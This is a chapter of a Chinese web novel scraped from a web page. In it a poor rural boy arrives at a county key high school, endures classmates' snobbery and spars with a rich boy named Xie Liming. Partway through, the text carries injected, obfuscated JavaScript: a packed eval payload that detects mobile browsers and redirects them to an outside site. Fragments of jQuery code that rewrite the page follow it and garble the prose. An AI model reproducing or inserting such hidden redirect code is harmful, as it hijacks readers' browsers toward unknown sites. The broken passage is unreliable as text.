八月底，正是最热的时候。
许家宁背着陈天英用新布做的布袋，脖子上搭着毛巾擦汗，边走边擦汗，额头已经被毒辣的太阳晒得发红发烫。
陈天英把他送到桥边，路上几次想开口说点什么，嘴唇动了动，又把话咽了回去。
桥这头是村，桥那头是镇，再转车，就是县里的重点中学。
陈天英把手里的帆布袋往上提了提，里面装着被褥、脸盆、一袋米，还有两个用旧报纸包着的鸡蛋。她一边走，一边叮嘱：“到了学校别惹事，记得按时吃饭，票子不够就写信回来，别老想着替娘省。”
许家宁“嗯”了一声，手抓着帆布袋袋口，陈天英又叮嘱了一句：“路上小心啊。”
“娘，我得走了。”
陈天英站在桥边没动，看着儿子的背影一点点消失，嘴里喃喃地说了句：“别中暑啊......学校里没人惯着你。”
许家宁没回头，但走出十几步后，他还是悄悄把脖子上的毛巾取下来，擦了擦不知道是汗还是泪，反正脸和眼眶都热得发烫。
布袋背得有些歪，他扯了扯肩带，脑子里却还在回想着陈天英最后说的那句“路上小心啊”。
他不敢回头，怕一回头，就会忍不住掉眼泪。
过了桥，走到镇上，再从镇上挤大巴进县城。到了重点高中门口时，许家宁站在门前，有些拿不准该往哪走。
铁门高得很，墙上贴着红纸条：“欢迎新生入学”，字很大，他却觉得自己有些格格不入。
校门口站了不少人，陪来的大人比学生还多。有的帮着抱被褥，有的提着搪瓷盆和水桶，还不忘扇着扇子给孩子擦汗。
几位家长挤在一起，有一搭没一搭地唠着：
“听说重点班是高一一班，考进去可不得了，这学校比市里其他学校都厉害些。”
“我男人单位那边说了，这学校底子硬，老师不少是从市重点调下来的，现在和市里重点一个水平。要不是因为这个，谁还愿意从市里跑来县里读书？”
“我家那臭崽子是倒数进的，老师说差两分就掉普通班了，我这心到现在还悬着。”
聊着聊着，他们话题就绕到彼此家里头去了。
“你家在哪儿的？”
“县里烟厂，我男人是会计，坐办公室的。”
“我们是粮食局的，前几年分了房子，就在河堤边上。”
“哎呀，那地段好，走路几分钟就到学校。”
“听说你家那谁，舅舅在教育局？”
“嗐，也就干个后勤，哪敢托关系，分班都不敢开口。”
说着说着，有人看到门口的许家宁，忽然压低了声音问：“那边那孩子是自己来的吧？没家长。”
“这一看就是从乡下来的，穿得那么旧，书包还是帆布袋子。”
“唉，现在还读高中的，大多是城里娃，家里有单位、有路子的。乡下的，早就不念了。”
“是啊，读中专去学个技术，好歹包分配；再不行也出去打工，起码能挣个三五百。哪像念高中，费钱不说，还没个准头。”
“读不上大学，回头还得种地，前功尽弃。你说有几个敢赌？”
话音刚落，有人朝校门口瞟了一眼，小声说了句：“你看那娃，怕就是在赌的那个。”
许家宁脸上也没什么反应，眼皮都没抬一下。
那些话他全听见了，从“乡下的”“靠读书翻身”“有几个能赌赢”，这些都一字不落地进入了他的耳朵，但他不在意。
他站了一会儿，把录取通知书往包里塞了塞，抬脚朝门口登记处走去。
登记老师是个戴眼镜的中年女教师，看见他时问了句：“你是哪个班的？”
“高一一班，许家宁。”嗓子有点哑，说完才发现自己口袋里的水壶是空的，水早已在走山路的时候喝完了。
老师低头翻了翻名单：“许家宁？嗯，好苗子，李老师还特地打了招呼。”
她一边划着名字，一边抬手指了指前面教学楼的方向：“去教学楼找你班主任报到吧，走廊尽头第一间。”
教学楼是红砖砌的，只有三层，一个年级占一层，砖缝间的水泥早被风吹雨打得斑驳脱落，墙上还长得斑驳的苔藓。
许家宁背着布袋，一层一层地往上找。楼道窄，地面是粗糙的水泥，墙上钉着奖状和学生守则，四角用钉子压着。
“谢礼名。”他在其中一张奖状前停了脚步。
这名字眼熟。
想起来了，之前在集市上买了他那几根黄瓜的，就是这个人。说话不怎么客气，行为举止有种优越感。
不太礼貌，也不太配这个名字。
许家宁在教学楼里转了一圈，从三楼下到一楼，走到走廊尽头，教室门口贴着一张泛黄的纸，手写着“高一一班”四个字，墨迹有些晕开。
他停下脚步，手握着布袋带子，深吸了一口气，推门进去。
班主任是个中年男人，叫刘志刚，他戴着副老式金边眼镜，正蹲在讲台边清点着教材，听见开门声，他抬头瞥了一眼。
“老师您好，我是新生许家宁。”
刘志刚眯了眯眼，在讲桌边的名册上翻了一页：“许家宁……嗯，有印象。过来拿书，书皮回家包好，别撕。”
许家宁快步走上前，接过那摞用草纸包着的教材，将书本放进书包里。
刘志刚看着他收拾书本的动作，点了点头，“听别人说你中考成绩不错，别骄傲，县一中没那么好混，重点班更不好混。”
“是。”许家宁不卑不亢地回答。
刘志刚没再说什么，只挥了挥手：“去宿舍吧，你的宿舍在201，男生宿舍楼，进门左拐，最里面那间。”
许家宁背上书包，点头：“谢谢老师。”
宿舍楼只有两层，墙皮斑驳，角落里堆着扫帚和铁锨，楼梯间有股潮味。许家宁找到201时，门半掩着，屋里传出翻箱倒柜的声音。
他抬手敲了敲门：“有人吗？”
一个男生探出头来，穿着一件褪色白背心，正用牙咬着绳子绑蚊帐。
“你是许家宁吧？我们宿舍就差你一个了。”
许家宁点点头，把背上的布袋挪了挪：“我是。你是？”
“李长水。”那人咧嘴一笑，“我是市里来的，你先找床放东西，靠窗那张空着的。”
宿舍不大，摆了8张铁架床，两排对着，中间勉强能过人。床下塞着歪歪斜斜的搪瓷盆、水桶和暖壶，大多印着“红双喜”“铁道部制”之类的字样，盆边有的掉了瓷，有的贴着胶布补过裂缝。
许家宁走到靠窗那张空床，把布袋放下，顺手摸了摸铁床架，生了锈，在这个夏天特别烫。
“中午的饭你吃了吗？”李长水凑过来问。
“还没。”
“带饭票了吗？”
“带了。”许家宁从裤兜里掏出一张被汗水蹭得卷边的饭票，小心地摊平，这是刚刚用背来的米去饭堂那换的饭票。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198070|181209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“那走吧，咱早点排队，不然就剩汤汤水水了。”
到食堂时，队伍已经排出门外。许家宁站在李长水身后，指尖紧紧捏着饭票，看着窗里那口大铁锅腾起热雾，空气中弥漫着饭菜香和汗味。
前面几个高个子男生打完饭走开，许家宁快步跟上，把饭票小心递给窗口的打饭阿姨。
“一碗饭和一碗炒白菜。”
窗口的阿姨头发被汗水打湿，白布围裙上沾着油渍，眼皮都没抬一下，熟练地从桶里盛一碗饭，又舀了一勺泛着水的白菜叶，啪地一下扣进他碗里。
“下一个！”
许家宁低头看了眼饭，饭是因为他自己的饭票兑换的，不算少，但白菜只有几根叶子。
但他没说什么，默默端着饭往食堂角落走去。
铁皮桌上还残留着上一顿的水渍和菜汤味，他用食堂的劣质纸巾擦了擦，坐下，开始开学后的第一顿饭。
炒白菜已经凉了，混着点铁锅底的焦味，但许家宁吃得很快，几口就下了半碗米饭。
对面坐着几个本地学生，他们边说边笑，嘴里嚼着白面小面包，用透明塑料袋包着，袋子上印着几个红字：“供销社特供”。
许家宁瞥了一眼那袋子，又低头看了看自己空空的饭碗。
那小面包他见过，放在供销社橱窗最上层，一毛三一个。他站在门口看过很久，有过掏兜付钱的冲动，最后还是走开了。
一毛三，可以多卖谢礼名几根黄瓜了。
对面几个学生大概注意到了他的目光，其中一个男生慢吞吞地咬着面包，故意说得清楚：“唉，天天吃这个也烦，真想换点咸菜。”
另一人笑出声：“你去和他换啊，他的菜水分多，说不定能喝饱。”
桌边一阵窃笑。
许家宁没说话，拿起自己的碗走到水龙头边冲洗，特地拧大了水龙头，把水声调得更大，遮盖外界的嘲笑声。
“欸，你这个人好眼熟！”忽然一个男声从侧后方传来。
许家宁抬头，是个头发剃得利落的男生，嘴角挂着笑，笑得轻佻，说不出的熟悉。
“你是不是之前在校门口卖黄瓜的那个？”
许家宁盯了他一会儿，问：“你是？”
“谢礼名啊。”那人像是在等他认出来似的，往前凑了点，自顾自地笑了，“上次全买了你的黄瓜，还记得吧？我可帮了你一把。”
“没想到你还真是我们学校的学生啊。我还以为你是为了卖出黄瓜骗我的。”
“嗯。”许家宁没再看他一眼，继续洗着手里的碗。
谢礼名显然不在意他的态度，手插着裤兜，站在一边晃着脑袋：“你是新生吧？哪个班的？”
“高一一班。”
“哟，还真的被我猜中了是重点班啊。”谢礼名挑了下眉，“挺能考嘛。”
“那你的名字是不是真的叫铁柱？”
许家宁没答，只把碗洗净，甩了甩水，水珠溅到谢礼名脸上。
谢礼名先是一愣，伸手一摸，“你他妈故意的吧？”
许家宁本来转身要走，闻言脚步一顿，侧过头，嗤笑一声：“原来你真叫谢礼名啊，我还以为是你自己编的。”
“挺不像的。”
谢礼名脸上的笑僵了两秒，随即又恢复吊儿郎当的样子，抬手摸了把脸上的水珠：“合着你这人不光小气，还嘴毒？”
他站在原地，看着许家宁远去的背影，一时间竟有点说不上来是烦还是想再逗一逗。